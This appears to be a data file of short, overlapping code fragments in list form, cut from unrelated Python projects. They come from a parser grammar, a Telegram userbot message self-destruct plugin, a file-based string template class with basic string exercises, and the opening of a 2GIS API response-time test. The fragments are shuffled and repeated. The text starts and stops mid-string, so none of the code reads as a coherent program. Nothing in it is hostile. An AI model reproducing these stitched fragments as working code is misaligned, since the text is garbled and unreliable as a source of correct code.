opar", "PlusNode, MinusNode, StarNode, DivNode, NegNode, InstantiateNode, BlockNode, CallNode, ConstantNumNode, VariableNode,", "lambda h, s: (s[1], s[3]) arg_list %= expr + comma", "+ expr + elsex + expr + fi, lambda h,", "productions program %= class_list, lambda h, s: ProgramNode(s[1]) class_list %=", "elsex + expr + fi, lambda h, s: IfNode(s[2], s[4],", "s: CaseNode(s[2], s[4]) expr %= notx + expr, lambda h,", "FuncDeclarationNode(s[1], s[3], s[6], s[8]), ) param_list %= param + comma" ]
[ "\"selfdestruct\": \".sdm number | [text]\\ \\nUsage: self destruct this message", "in seconds> <text> \"\"\" import time from userbot import CMD_HELP", "\"\"\" import time from userbot import CMD_HELP from telethon.errors import", "\"#\", \"@\", \"!\"): message = destroy.text counter = int(message[5:7]) text", "Destruct Plugin .sd <time in seconds> <text> \"\"\" import time", "from userbot.utils import admin_cmd import importlib.util @borg.on(admin_cmd(pattern=\"sdm\", outgoing=True)) async def", "self-destructed in \" + str(counter) + \" seconds`\" ) await", "in \" + str(counter) + \" seconds`\" ) await destroy.delete()", "= await destroy.client.send_message(destroy.chat_id, text) time.sleep(counter) await smsg.delete() @borg.on(admin_cmd(pattern=\"selfd\", outgoing=True ))", "For @UniBorg # courtesy <NAME> \"\"\"Self Destruct Plugin .sd <time", "\" + str(counter) + \" seconds`\" ) await destroy.delete() smsg", "@borg.on(admin_cmd(pattern=\"sdm\", outgoing=True)) async def selfdestruct(destroy): if not destroy.text[0].isalpha() and destroy.text[0]", "<text> \"\"\" import time from userbot import CMD_HELP from telethon.errors", "= destroy.text counter = int(message[7:9]) text = str(destroy.text[9:]) text =", "destroy.client.send_message(destroy.chat_id, text) time.sleep(counter) await smsg.delete() CMD_HELP.update({ \"selfdestruct\": \".sdm number |", "in number seconds with showing that it will destruct. \\", "destroy.text[0].isalpha() and destroy.text[0] not in (\"/\", \"#\", \"@\", \"!\"): message", "counter = int(message[7:9]) text = str(destroy.text[9:]) text = ( text", "destruct this message in number seconds \\ \\n\\n.self number |", "int(message[7:9]) text = str(destroy.text[9:]) text = ( text + \"\\n\\n`This", "await destroy.delete() smsg = await destroy.client.send_message(destroy.chat_id, text) time.sleep(counter) await smsg.delete()", "\\nUsage:self destruct this message in number seconds with showing that", "\"\\n\\n`This message shall be self-destructed in \" + str(counter) +", "number seconds \\ \\n\\n.self number | [text]\\ \\nUsage:self destruct this", "= str(destroy.text[7:]) text = ( text ) await destroy.delete() smsg", "<NAME> \"\"\"Self Destruct Plugin .sd <time in seconds> <text> \"\"\"", "<time in seconds> <text> \"\"\" import time from userbot import", "courtesy <NAME> \"\"\"Self Destruct Plugin .sd <time in seconds> <text>", "destruct this message in number seconds with showing that it", "shall be self-destructed in \" + str(counter) + \" seconds`\"", "\\ \\n\\n.self number | [text]\\ \\nUsage:self destruct this message in", "import rpcbaseerrors from userbot.utils import admin_cmd import importlib.util @borg.on(admin_cmd(pattern=\"sdm\", outgoing=True))", "\"!\"): message = destroy.text counter = int(message[7:9]) text = str(destroy.text[9:])", "time from userbot import CMD_HELP from telethon.errors import rpcbaseerrors from", "message shall be self-destructed in \" + str(counter) + \"", "+ \" seconds`\" ) await destroy.delete() smsg = await destroy.client.send_message(destroy.chat_id,", "[text]\\ \\nUsage:self destruct this message in number seconds with showing", "text) time.sleep(counter) await smsg.delete() CMD_HELP.update({ \"selfdestruct\": \".sdm number | [text]\\", "destroy.delete() smsg = await destroy.client.send_message(destroy.chat_id, text) time.sleep(counter) await smsg.delete() CMD_HELP.update({", "from userbot import CMD_HELP from telethon.errors import rpcbaseerrors from userbot.utils", "text = ( text + \"\\n\\n`This message shall be self-destructed", "@UniBorg # courtesy <NAME> \"\"\"Self Destruct Plugin .sd <time in", "\" seconds`\" ) await destroy.delete() smsg = await destroy.client.send_message(destroy.chat_id, text)", "text = ( text ) await destroy.delete() smsg = await", "\"\"\"Self Destruct Plugin .sd <time in seconds> <text> \"\"\" import", "(\"/\", \"#\", \"@\", \"!\"): message = destroy.text counter = int(message[5:7])", "# courtesy <NAME> \"\"\"Self Destruct Plugin .sd <time in seconds>", "+ str(counter) + \" seconds`\" ) await destroy.delete() smsg =", "\\n\\n.self number | [text]\\ \\nUsage:self destruct this message in number", "= ( text + \"\\n\\n`This message shall be self-destructed in", "seconds> <text> \"\"\" import time from userbot import CMD_HELP from", "message in number seconds with showing that it will destruct.", "be self-destructed in \" + str(counter) + \" seconds`\" )", "this message in number seconds \\ \\n\\n.self number | [text]\\", "seconds with showing that it will destruct. \\ \" })", "counter = int(message[5:7]) text = str(destroy.text[7:]) text = ( text", "number | [text]\\ \\nUsage: self destruct this message in number", "destroy.client.send_message(destroy.chat_id, text) time.sleep(counter) await smsg.delete() @borg.on(admin_cmd(pattern=\"selfd\", outgoing=True )) async def", "+ \"\\n\\n`This message shall be self-destructed in \" + str(counter)", "destroy.text[0] not in (\"/\", \"#\", \"@\", \"!\"): message = destroy.text", "message = destroy.text counter = int(message[5:7]) text = str(destroy.text[7:]) text", "await destroy.client.send_message(destroy.chat_id, text) time.sleep(counter) await smsg.delete() @borg.on(admin_cmd(pattern=\"selfd\", outgoing=True )) async", "seconds \\ \\n\\n.self number | [text]\\ \\nUsage:self destruct this message", "importlib.util @borg.on(admin_cmd(pattern=\"sdm\", outgoing=True)) async def selfdestruct(destroy): if not destroy.text[0].isalpha() and", "rpcbaseerrors from userbot.utils import admin_cmd import importlib.util @borg.on(admin_cmd(pattern=\"sdm\", outgoing=True)) async", "smsg.delete() @borg.on(admin_cmd(pattern=\"selfd\", outgoing=True )) async def selfdestruct(destroy): if not destroy.text[0].isalpha()", "\".sdm number | [text]\\ \\nUsage: self destruct this message in", "in number seconds \\ \\n\\n.self number | [text]\\ \\nUsage:self destruct", "\"#\", \"@\", \"!\"): message = destroy.text counter = int(message[7:9]) text", "userbot import CMD_HELP from telethon.errors import rpcbaseerrors from userbot.utils import", ") await destroy.delete() smsg = await destroy.client.send_message(destroy.chat_id, text) time.sleep(counter) await", "telethon.errors import rpcbaseerrors from userbot.utils import admin_cmd import importlib.util @borg.on(admin_cmd(pattern=\"sdm\",", "= await destroy.client.send_message(destroy.chat_id, text) time.sleep(counter) await smsg.delete() CMD_HELP.update({ \"selfdestruct\": \".sdm", "destroy.text counter = int(message[5:7]) text = str(destroy.text[7:]) text = (", ".sd <time in seconds> <text> \"\"\" import time from userbot", "not destroy.text[0].isalpha() and destroy.text[0] not in (\"/\", \"#\", \"@\", \"!\"):", "text + \"\\n\\n`This message shall be self-destructed in \" +", "( text ) await destroy.delete() smsg = await destroy.client.send_message(destroy.chat_id, text)", "text ) await destroy.delete() smsg = await destroy.client.send_message(destroy.chat_id, text) time.sleep(counter)", "number | [text]\\ \\nUsage:self destruct this message in number seconds", "time.sleep(counter) await smsg.delete() CMD_HELP.update({ \"selfdestruct\": \".sdm number | [text]\\ \\nUsage:", "smsg.delete() CMD_HELP.update({ \"selfdestruct\": \".sdm number | [text]\\ \\nUsage: self destruct", "await destroy.client.send_message(destroy.chat_id, text) time.sleep(counter) await smsg.delete() CMD_HELP.update({ \"selfdestruct\": \".sdm number", "@borg.on(admin_cmd(pattern=\"selfd\", outgoing=True )) async def selfdestruct(destroy): if not destroy.text[0].isalpha() and", "# For @UniBorg # courtesy <NAME> \"\"\"Self Destruct Plugin .sd", "destroy.delete() smsg = await destroy.client.send_message(destroy.chat_id, text) time.sleep(counter) await smsg.delete() @borg.on(admin_cmd(pattern=\"selfd\",", "= int(message[5:7]) text = str(destroy.text[7:]) text = ( text )", "\\nUsage: self destruct this message in number seconds \\ \\n\\n.self", "destroy.text counter = int(message[7:9]) text = str(destroy.text[9:]) text = (", "int(message[5:7]) text = str(destroy.text[7:]) text = ( text ) await", "outgoing=True )) async def selfdestruct(destroy): if not destroy.text[0].isalpha() and destroy.text[0]", "= int(message[7:9]) text = str(destroy.text[9:]) text = ( text +", "| [text]\\ \\nUsage:self destruct this message in number seconds with", "not in (\"/\", \"#\", \"@\", \"!\"): message = destroy.text counter", "text = str(destroy.text[9:]) text = ( text + \"\\n\\n`This message", "self destruct this message in number seconds \\ \\n\\n.self number", "async def selfdestruct(destroy): if not destroy.text[0].isalpha() and destroy.text[0] not in", "(\"/\", \"#\", \"@\", \"!\"): message = destroy.text counter = int(message[7:9])", "this message in number seconds with showing that it will", "if not destroy.text[0].isalpha() and destroy.text[0] not in (\"/\", \"#\", \"@\",", "= destroy.text counter = int(message[5:7]) text = str(destroy.text[7:]) text =", "= str(destroy.text[9:]) text = ( text + \"\\n\\n`This message shall", "CMD_HELP.update({ \"selfdestruct\": \".sdm number | [text]\\ \\nUsage: self destruct this", "\"!\"): message = destroy.text counter = int(message[5:7]) text = str(destroy.text[7:])", "text) time.sleep(counter) await smsg.delete() @borg.on(admin_cmd(pattern=\"selfd\", outgoing=True )) async def selfdestruct(destroy):", "message in number seconds \\ \\n\\n.self number | [text]\\ \\nUsage:self", "number seconds with showing that it will destruct. \\ \"", "admin_cmd import importlib.util @borg.on(admin_cmd(pattern=\"sdm\", outgoing=True)) async def selfdestruct(destroy): if not", "time.sleep(counter) await smsg.delete() @borg.on(admin_cmd(pattern=\"selfd\", outgoing=True )) async def selfdestruct(destroy): if", "smsg = await destroy.client.send_message(destroy.chat_id, text) time.sleep(counter) await smsg.delete() @borg.on(admin_cmd(pattern=\"selfd\", outgoing=True", "import time from userbot import CMD_HELP from telethon.errors import rpcbaseerrors", "await smsg.delete() @borg.on(admin_cmd(pattern=\"selfd\", outgoing=True )) async def selfdestruct(destroy): if not", "\"@\", \"!\"): message = destroy.text counter = int(message[5:7]) text =", "| [text]\\ \\nUsage: self destruct this message in number seconds", "Plugin .sd <time in seconds> <text> \"\"\" import time from", "[text]\\ \\nUsage: self destruct this message in number seconds \\", "import importlib.util @borg.on(admin_cmd(pattern=\"sdm\", outgoing=True)) async def selfdestruct(destroy): if not destroy.text[0].isalpha()", "str(destroy.text[7:]) text = ( text ) await destroy.delete() smsg =", "( text + \"\\n\\n`This message shall be self-destructed in \"", "= ( text ) await destroy.delete() smsg = await destroy.client.send_message(destroy.chat_id,", ")) async def selfdestruct(destroy): if not destroy.text[0].isalpha() and destroy.text[0] not", "in (\"/\", \"#\", \"@\", \"!\"): message = destroy.text counter =", "CMD_HELP from telethon.errors import rpcbaseerrors from userbot.utils import admin_cmd import", "str(counter) + \" seconds`\" ) await destroy.delete() smsg = await", "import admin_cmd import importlib.util @borg.on(admin_cmd(pattern=\"sdm\", outgoing=True)) async def selfdestruct(destroy): if", "and destroy.text[0] not in (\"/\", \"#\", \"@\", \"!\"): message =", "message = destroy.text counter = int(message[7:9]) text = str(destroy.text[9:]) text", "\"@\", \"!\"): message = destroy.text counter = int(message[7:9]) text =", "def selfdestruct(destroy): if not destroy.text[0].isalpha() and destroy.text[0] not in (\"/\",", "seconds`\" ) await destroy.delete() smsg = await destroy.client.send_message(destroy.chat_id, text) time.sleep(counter)", "await smsg.delete() CMD_HELP.update({ \"selfdestruct\": \".sdm number | [text]\\ \\nUsage: self", "from telethon.errors import rpcbaseerrors from userbot.utils import admin_cmd import importlib.util", "outgoing=True)) async def selfdestruct(destroy): if not destroy.text[0].isalpha() and destroy.text[0] not", "text = str(destroy.text[7:]) text = ( text ) await destroy.delete()", "<gh_stars>1-10 # For @UniBorg # courtesy <NAME> \"\"\"Self Destruct Plugin", "selfdestruct(destroy): if not destroy.text[0].isalpha() and destroy.text[0] not in (\"/\", \"#\",", "smsg = await destroy.client.send_message(destroy.chat_id, text) time.sleep(counter) await smsg.delete() CMD_HELP.update({ \"selfdestruct\":", "str(destroy.text[9:]) text = ( text + \"\\n\\n`This message shall be", "userbot.utils import admin_cmd import importlib.util @borg.on(admin_cmd(pattern=\"sdm\", outgoing=True)) async def selfdestruct(destroy):", "import CMD_HELP from telethon.errors import rpcbaseerrors from userbot.utils import admin_cmd" ]
[ "render_ctx = {} template_string = self.get_template() return template_string.format(**render_ctx) obj =", "obj = Template(template_name='test.html', context={'name': 'OSAMA'}) print(obj.render()) obj.context= None print(obj.render(context={'name': 'os'}))", "**kwargs): self.template_name = template_name self.context = context def get_template(self): template_path", "if not isinstance(render_ctx, dict): render_ctx = {} template_string = self.get_template()", ": {template_path}') template_string = '' with open(template_path, 'r') as f:", "isinstance(render_ctx, dict): render_ctx = {} template_string = self.get_template() return template_string.format(**render_ctx)", "f: template_string = f.read() return template_string def render(self, context=None): render_ctx", "not os.path.exists(template_path): raise Exception(f'This path does not exist : {template_path}')", "Template: template_name = '' context = None def __init__(self, template_name='',", "context def get_template(self): template_path = os.path.join(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates'), self.template_name) if not", "render_ctx = context if self.context != None: render_ctx = self.context", "def __init__(self, template_name='', context=None, *args, **kwargs): self.template_name = template_name self.context", "if self.context != None: render_ctx = self.context if not isinstance(render_ctx,", "*args, **kwargs): self.template_name = template_name self.context = context def get_template(self):", "None def __init__(self, template_name='', context=None, *args, **kwargs): self.template_name = template_name", "= self.get_template() return template_string.format(**render_ctx) obj = Template(template_name='test.html', context={'name': 'OSAMA'}) print(obj.render())", "template_string = self.get_template() return template_string.format(**render_ctx) obj = Template(template_name='test.html', context={'name': 'OSAMA'})", "context={'name': 'OSAMA'}) print(obj.render()) obj.context= None print(obj.render(context={'name': 'os'})) obj2 = Template(template_name='test.html')", "context = None def __init__(self, template_name='', context=None, *args, **kwargs): self.template_name", "= None def __init__(self, template_name='', context=None, *args, **kwargs): self.template_name =", "context=None): render_ctx = context if self.context != None: render_ctx =", "<reponame>OSAMAMOHAMED1234/python_projects import os class Template: template_name = '' context =", "= Template(template_name='test.html', context={'name': 'OSAMA'}) print(obj.render()) obj.context= None print(obj.render(context={'name': 'os'})) obj2", "f.read() return template_string def render(self, context=None): render_ctx = context if", "def render(self, context=None): render_ctx = context if self.context != None:", "= {} template_string = self.get_template() return template_string.format(**render_ctx) obj = Template(template_name='test.html',", "render(self, context=None): render_ctx = context if self.context != None: render_ctx", "self.context != None: render_ctx = self.context if not isinstance(render_ctx, dict):", "self.template_name) if not os.path.exists(template_path): raise Exception(f'This path does not exist", "def get_template(self): template_path = os.path.join(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates'), self.template_name) if not os.path.exists(template_path):", "open(template_path, 'r') as f: template_string = f.read() return template_string def", "raise Exception(f'This path does not exist : {template_path}') template_string =", "{} template_string = self.get_template() return template_string.format(**render_ctx) obj = Template(template_name='test.html', context={'name':", "self.template_name = template_name self.context = context def get_template(self): template_path =", "template_name='', context=None, *args, **kwargs): self.template_name = template_name self.context = context", "template_name = '' context = None def __init__(self, template_name='', context=None,", "self.context = context def get_template(self): template_path = os.path.join(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates'), self.template_name)", "as f: template_string = f.read() return template_string def render(self, context=None):", "None: render_ctx = self.context if not isinstance(render_ctx, dict): render_ctx =", "= f.read() return template_string def render(self, context=None): render_ctx = context", "if not os.path.exists(template_path): raise Exception(f'This path does not exist :", "import os class Template: template_name = '' context = None", "template_string def render(self, context=None): render_ctx = context if self.context !=", "template_string = '' with open(template_path, 'r') as f: template_string =", "= self.context if not isinstance(render_ctx, dict): render_ctx = {} template_string", "Template(template_name='test.html', context={'name': 'OSAMA'}) print(obj.render()) obj.context= None print(obj.render(context={'name': 'os'})) obj2 =", "self.context if not isinstance(render_ctx, dict): render_ctx = {} template_string =", "'templates'), self.template_name) if not os.path.exists(template_path): raise Exception(f'This path does not", "= template_name self.context = context def get_template(self): template_path = os.path.join(os.path.join(os.path.dirname(os.path.abspath(__file__)),", "Exception(f'This path does not exist : {template_path}') template_string = ''", "render_ctx = self.context if not isinstance(render_ctx, dict): render_ctx = {}", "= '' with open(template_path, 'r') as f: template_string = f.read()", "print(obj.render()) obj.context= None print(obj.render(context={'name': 'os'})) obj2 = Template(template_name='test.html') print(obj2.render(context={'name': 'os'}))", "dict): render_ctx = {} template_string = self.get_template() return template_string.format(**render_ctx) obj", "{template_path}') template_string = '' with open(template_path, 'r') as f: template_string", "'' context = None def __init__(self, template_name='', context=None, *args, **kwargs):", "template_string.format(**render_ctx) obj = Template(template_name='test.html', context={'name': 'OSAMA'}) print(obj.render()) obj.context= None print(obj.render(context={'name':", "return template_string.format(**render_ctx) obj = Template(template_name='test.html', context={'name': 'OSAMA'}) print(obj.render()) obj.context= None", "__init__(self, template_name='', context=None, *args, **kwargs): self.template_name = template_name self.context =", "!= None: render_ctx = self.context if not isinstance(render_ctx, dict): render_ctx", "template_path = os.path.join(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates'), self.template_name) if not os.path.exists(template_path): raise Exception(f'This", "os class Template: template_name = '' context = None def", "get_template(self): template_path = os.path.join(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates'), self.template_name) if not os.path.exists(template_path): raise", "= context if self.context != None: render_ctx = self.context if", "not isinstance(render_ctx, dict): render_ctx = {} template_string = self.get_template() return", "'OSAMA'}) print(obj.render()) obj.context= None print(obj.render(context={'name': 'os'})) obj2 = Template(template_name='test.html') print(obj2.render(context={'name':", "template_name self.context = context def get_template(self): template_path = os.path.join(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates'),", "= os.path.join(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates'), self.template_name) if not os.path.exists(template_path): raise Exception(f'This path", "template_string = f.read() return template_string def render(self, context=None): render_ctx =", "os.path.exists(template_path): raise Exception(f'This path does not exist : {template_path}') template_string", "= '' context = None def __init__(self, template_name='', context=None, *args,", "path does not exist : {template_path}') template_string = '' with", "with open(template_path, 'r') as f: template_string = f.read() return template_string", "return template_string def render(self, context=None): render_ctx = context if self.context", "context if self.context != None: render_ctx = self.context if not", "self.get_template() return template_string.format(**render_ctx) obj = Template(template_name='test.html', context={'name': 'OSAMA'}) print(obj.render()) obj.context=", "= context def get_template(self): template_path = os.path.join(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates'), self.template_name) if", "os.path.join(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates'), self.template_name) if not os.path.exists(template_path): raise Exception(f'This path does", "not exist : {template_path}') template_string = '' with open(template_path, 'r')", "does not exist : {template_path}') template_string = '' with open(template_path,", "'' with open(template_path, 'r') as f: template_string = f.read() return", "context=None, *args, **kwargs): self.template_name = template_name self.context = context def", "exist : {template_path}') template_string = '' with open(template_path, 'r') as", "'r') as f: template_string = f.read() return template_string def render(self,", "class Template: template_name = '' context = None def __init__(self," ]
[ "included) print(a[2:5])#Output: llo(index 2 is included) print(a[::2])#Step size #string is", "assign a[1]= b x = a.upper() print(x) x = a.capitalize()", "or the end print(x) x = a.replace('l','xxx') print(x) x =", "a.split() #splits the string by space print(x) x = a.strip()", "is immutable so you can't assign a[1]= b x =", "can't assign a[1]= b x = a.upper() print(x) x =", "b x = a.upper() print(x) x = a.capitalize() print(x) x", "string by space print(x) x = a.strip() #removes any whitespace", "#Basics a = \"hello\" a += \" I'm a dog\"", "{} Item Two: {}\".format('dog', 'cat') print(x) x = \"Item One:", "print(a[1:]) #Output: ello I'm a dog print(a[:5]) #Output: hello(index 5", "from beginning or the end print(x) x = a.replace('l','xxx') print(x)", "another string here: {}\".format('insert me!') x = \"Item One: {}", "llo(index 2 is included) print(a[::2])#Step size #string is immutable so", "Item Two: {m}\".format(m='dog', n='cat') print(x) #command-line string input print(\"Enter your", "\"Item One: {} Item Two: {}\".format('dog', 'cat') print(x) x =", "a dog print(a[:5]) #Output: hello(index 5 is not included) print(a[2:5])#Output:", "= \"Item One: {m} Item Two: {m}\".format(m='dog', n='cat') print(x) #command-line", "beginning or the end print(x) x = a.replace('l','xxx') print(x) x", "a.split('e') print(x) x = a.split() #splits the string by space", "is not included) print(a[2:5])#Output: llo(index 2 is included) print(a[::2])#Step size", "by space print(x) x = a.strip() #removes any whitespace from", "\"Item One: {m} Item Two: {m}\".format(m='dog', n='cat') print(x) #command-line string", "print(a) print(len(a)) print(a[1:]) #Output: ello I'm a dog print(a[:5]) #Output:", "= a.strip() #removes any whitespace from beginning or the end", "print(a[::2])#Step size #string is immutable so you can't assign a[1]=", "x = a.capitalize() print(x) x = a.split('e') print(x) x =", "Item Two: {}\".format('dog', 'cat') print(x) x = \"Item One: {m}", "print(x) x = \"Item One: {m} Item Two: {m}\".format(m='dog', n='cat')", "print(x) x = a.replace('l','xxx') print(x) x = \"Insert another string", "n='cat') print(x) #command-line string input print(\"Enter your name:\") x =", "a.upper() print(x) x = a.capitalize() print(x) x = a.split('e') print(x)", "ello I'm a dog print(a[:5]) #Output: hello(index 5 is not", "so you can't assign a[1]= b x = a.upper() print(x)", "x = a.replace('l','xxx') print(x) x = \"Insert another string here:", "\"Insert another string here: {}\".format('insert me!') x = \"Item One:", "x = a.split('e') print(x) x = a.split() #splits the string", "the string by space print(x) x = a.strip() #removes any", "here: {}\".format('insert me!') x = \"Item One: {} Item Two:", "x = a.split() #splits the string by space print(x) x", "+= \" I'm a dog\" print(a) print(len(a)) print(a[1:]) #Output: ello", "hello(index 5 is not included) print(a[2:5])#Output: llo(index 2 is included)", "print(x) x = a.split() #splits the string by space print(x)", "x = \"Item One: {} Item Two: {}\".format('dog', 'cat') print(x)", "#splits the string by space print(x) x = a.strip() #removes", "end print(x) x = a.replace('l','xxx') print(x) x = \"Insert another", "string input print(\"Enter your name:\") x = input() print(\"Hello: {}\".format(x))", "dog\" print(a) print(len(a)) print(a[1:]) #Output: ello I'm a dog print(a[:5])", "a[1]= b x = a.upper() print(x) x = a.capitalize() print(x)", "is included) print(a[::2])#Step size #string is immutable so you can't", "x = a.strip() #removes any whitespace from beginning or the", "x = \"Insert another string here: {}\".format('insert me!') x =", "print(a[:5]) #Output: hello(index 5 is not included) print(a[2:5])#Output: llo(index 2", "print(x) #command-line string input print(\"Enter your name:\") x = input()", "a.capitalize() print(x) x = a.split('e') print(x) x = a.split() #splits", "\"hello\" a += \" I'm a dog\" print(a) print(len(a)) print(a[1:])", "print(x) x = a.capitalize() print(x) x = a.split('e') print(x) x", "print(x) x = \"Insert another string here: {}\".format('insert me!') x", "size #string is immutable so you can't assign a[1]= b", "I'm a dog print(a[:5]) #Output: hello(index 5 is not included)", "a = \"hello\" a += \" I'm a dog\" print(a)", "#string is immutable so you can't assign a[1]= b x", "print(x) x = a.strip() #removes any whitespace from beginning or", "Two: {m}\".format(m='dog', n='cat') print(x) #command-line string input print(\"Enter your name:\")", "not included) print(a[2:5])#Output: llo(index 2 is included) print(a[::2])#Step size #string", "One: {} Item Two: {}\".format('dog', 'cat') print(x) x = \"Item", "#Output: hello(index 5 is not included) print(a[2:5])#Output: llo(index 2 is", "x = \"Item One: {m} Item Two: {m}\".format(m='dog', n='cat') print(x)", "{m}\".format(m='dog', n='cat') print(x) #command-line string input print(\"Enter your name:\") x", "= a.split() #splits the string by space print(x) x =", "a += \" I'm a dog\" print(a) print(len(a)) print(a[1:]) #Output:", "= \"hello\" a += \" I'm a dog\" print(a) print(len(a))", "included) print(a[::2])#Step size #string is immutable so you can't assign", "\" I'm a dog\" print(a) print(len(a)) print(a[1:]) #Output: ello I'm", "space print(x) x = a.strip() #removes any whitespace from beginning", "print(x) x = a.split('e') print(x) x = a.split() #splits the", "{}\".format('dog', 'cat') print(x) x = \"Item One: {m} Item Two:", "One: {m} Item Two: {m}\".format(m='dog', n='cat') print(x) #command-line string input", "= a.upper() print(x) x = a.capitalize() print(x) x = a.split('e')", "immutable so you can't assign a[1]= b x = a.upper()", "the end print(x) x = a.replace('l','xxx') print(x) x = \"Insert", "#Output: ello I'm a dog print(a[:5]) #Output: hello(index 5 is", "whitespace from beginning or the end print(x) x = a.replace('l','xxx')", "= \"Item One: {} Item Two: {}\".format('dog', 'cat') print(x) x", "= \"Insert another string here: {}\".format('insert me!') x = \"Item", "you can't assign a[1]= b x = a.upper() print(x) x", "{m} Item Two: {m}\".format(m='dog', n='cat') print(x) #command-line string input print(\"Enter", "any whitespace from beginning or the end print(x) x =", "'cat') print(x) x = \"Item One: {m} Item Two: {m}\".format(m='dog',", "me!') x = \"Item One: {} Item Two: {}\".format('dog', 'cat')", "string here: {}\".format('insert me!') x = \"Item One: {} Item", "= a.split('e') print(x) x = a.split() #splits the string by", "5 is not included) print(a[2:5])#Output: llo(index 2 is included) print(a[::2])#Step", "#removes any whitespace from beginning or the end print(x) x", "dog print(a[:5]) #Output: hello(index 5 is not included) print(a[2:5])#Output: llo(index", "2 is included) print(a[::2])#Step size #string is immutable so you", "a.strip() #removes any whitespace from beginning or the end print(x)", "a.replace('l','xxx') print(x) x = \"Insert another string here: {}\".format('insert me!')", "{}\".format('insert me!') x = \"Item One: {} Item Two: {}\".format('dog',", "Two: {}\".format('dog', 'cat') print(x) x = \"Item One: {m} Item", "a dog\" print(a) print(len(a)) print(a[1:]) #Output: ello I'm a dog", "print(len(a)) print(a[1:]) #Output: ello I'm a dog print(a[:5]) #Output: hello(index", "I'm a dog\" print(a) print(len(a)) print(a[1:]) #Output: ello I'm a", "= a.replace('l','xxx') print(x) x = \"Insert another string here: {}\".format('insert", "print(a[2:5])#Output: llo(index 2 is included) print(a[::2])#Step size #string is immutable", "<reponame>jameskzhao/python36 #Basics a = \"hello\" a += \" I'm a", "x = a.upper() print(x) x = a.capitalize() print(x) x =", "= a.capitalize() print(x) x = a.split('e') print(x) x = a.split()", "#command-line string input print(\"Enter your name:\") x = input() print(\"Hello:" ]
[ "{api_response.content}\") check = api_response.elapsed.total_seconds() <= 0.2 assert check, f\"\"\"Время ответа", "5}, {\"country_code\": \"ru\", \"page\": 1, \"page_size\": 5}, {\"q\": \"ОРСК\"}]) def", "= (f\" EndPoint: {api_response.url}\\n\" f\" Status: {api_response.status_code}\\n\" f\" Headers: {api_response.headers}\\n\"", "1.0.0 :maintainer: <NAME> :email: <EMAIL> :status: Development \"\"\" import pytest", "-*- coding: utf-8 -*- \"\"\" test_01_accept_time_get_headers ~~~~~~~~~~~~~~ The 2GIS API", "utf-8 -*- \"\"\" test_01_accept_time_get_headers ~~~~~~~~~~~~~~ The 2GIS API Test Check", "import get_response @allure.epic(\"Поизитивные тесты API\") @allure.suite(\"Позитивное тестирование время ответов\") @allure.title(\"Проверка", "{api_response.content}\") check = api_response.elapsed.total_seconds() <= 0.5 assert check, f\"\"\"Время ответа", ":param setup_option: Установочные параметры :type setup_option: dict :param json_params: Параметры", "сервера при валидных запросах :param setup_option: Установочные параметры :type setup_option:", "@pytest.mark.parametrize(\"json_params\", [{\"page\": 1, \"page_size\": 2}, {\"country_code\": \"tz\", \"page\": 1, \"page_size\":", "coding: utf-8 -*- \"\"\" test_01_accept_time_get_headers ~~~~~~~~~~~~~~ The 2GIS API Test", "allure from tools.api_responses import get_response @allure.epic(\"Поизитивные тесты API\") @allure.suite(\"Позитивное тестирование", "коду страны, при постраничной разбивке\") @pytest.mark.parametrize(\"json_params\", [{\"page\": 1, \"page_size\": 5},", "тесты API\") @allure.suite(\"Позитивное тестирование время ответов\") @allure.title(\"Проверка время ответа при", "\"page_size\": 5}, {\"q\": \"ОРСК\"}]) def test_01_time_response_for_valid_request(setup_option, json_params): \"\"\" Проверяем время", "assert check, f\"\"\"Время ответа {api_response.elapsed.total_seconds()} больше 0.5 сек\\r\\n\"\"\" + testing_message", "поиске, при фильтрации по коду страны, при постраничной разбивке\") @pytest.mark.parametrize(\"json_params\",", "dict :return: \"\"\" api_url = setup_option['site_url'] request_params = json_params api_response", "@allure.suite(\"Позитивное тестирование время ответов\") @allure.title(\"Проверка время ответа при нечётком поиске,", "headers :author: <NAME> :copyright: Copyright 2019, The2GIS API Test\" :license:", "\"\"\" Проверяем время ответов сервера при невалидных запросах :param setup_option:", "[{\"page\": 1, \"page_size\": 5}, {\"country_code\": \"ru\", \"page\": 1, \"page_size\": 5},", "check = api_response.elapsed.total_seconds() <= 0.5 assert check, f\"\"\"Время ответа {api_response.elapsed.total_seconds()}", "request_params = json_params api_response = get_response(api_url, request_params) testing_message = (f\"", "setup_option: dict :param json_params: Параметры GET запроса :type json_params: dict", "ответа при нечётком поиске, при фильтрации по коду страны, при", "Проверяем время ответов сервера при невалидных запросах :param setup_option: Установочные", "сервера при невалидных запросах :param setup_option: Установочные параметры :type setup_option:", "тестирование время ответов\") @allure.title(\"Проверка время ответа при нечётком поиске, при", "json_params: dict :return: \"\"\" api_url = setup_option['site_url'] request_params = json_params", "<NAME> :email: <EMAIL> :status: Development \"\"\" import pytest import allure", "\"ОРСК\"}]) def test_01_time_response_for_valid_request(setup_option, json_params): \"\"\" Проверяем время ответов сервера при", "(f\" EndPoint: {api_response.url}\\n\" f\" Status: {api_response.status_code}\\n\" f\" Headers: {api_response.headers}\\n\" f\"", "api_response.elapsed.total_seconds() <= 0.2 assert check, f\"\"\"Время ответа {api_response.elapsed.total_seconds()} больше 0.2", "ответа {api_response.elapsed.total_seconds()} больше 0.2 сек\\r\\n\"\"\" + testing_message @allure.epic(\"Смок тесты API\")", "1, \"page_size\": 5}, {\"q\": \"ОР\"}]) def test_01_time_response_for_invalid_request(setup_option, json_params): \"\"\" Проверяем", "\"page\": 1, \"page_size\": 5}, {\"q\": \"ОР\"}]) def test_01_time_response_for_invalid_request(setup_option, json_params): \"\"\"", "= api_response.elapsed.total_seconds() <= 0.2 assert check, f\"\"\"Время ответа {api_response.elapsed.total_seconds()} больше", ":type json_params: dict :return: \"\"\" api_url = setup_option['site_url'] request_params =", ":author: <NAME> :copyright: Copyright 2019, The2GIS API Test\" :license: MIT", "\"ru\", \"page\": 1, \"page_size\": 5}, {\"q\": \"ОРСК\"}]) def test_01_time_response_for_valid_request(setup_option, json_params):", "<filename>tests/test_01_accept_time_get_headers.py # -*- coding: utf-8 -*- \"\"\" 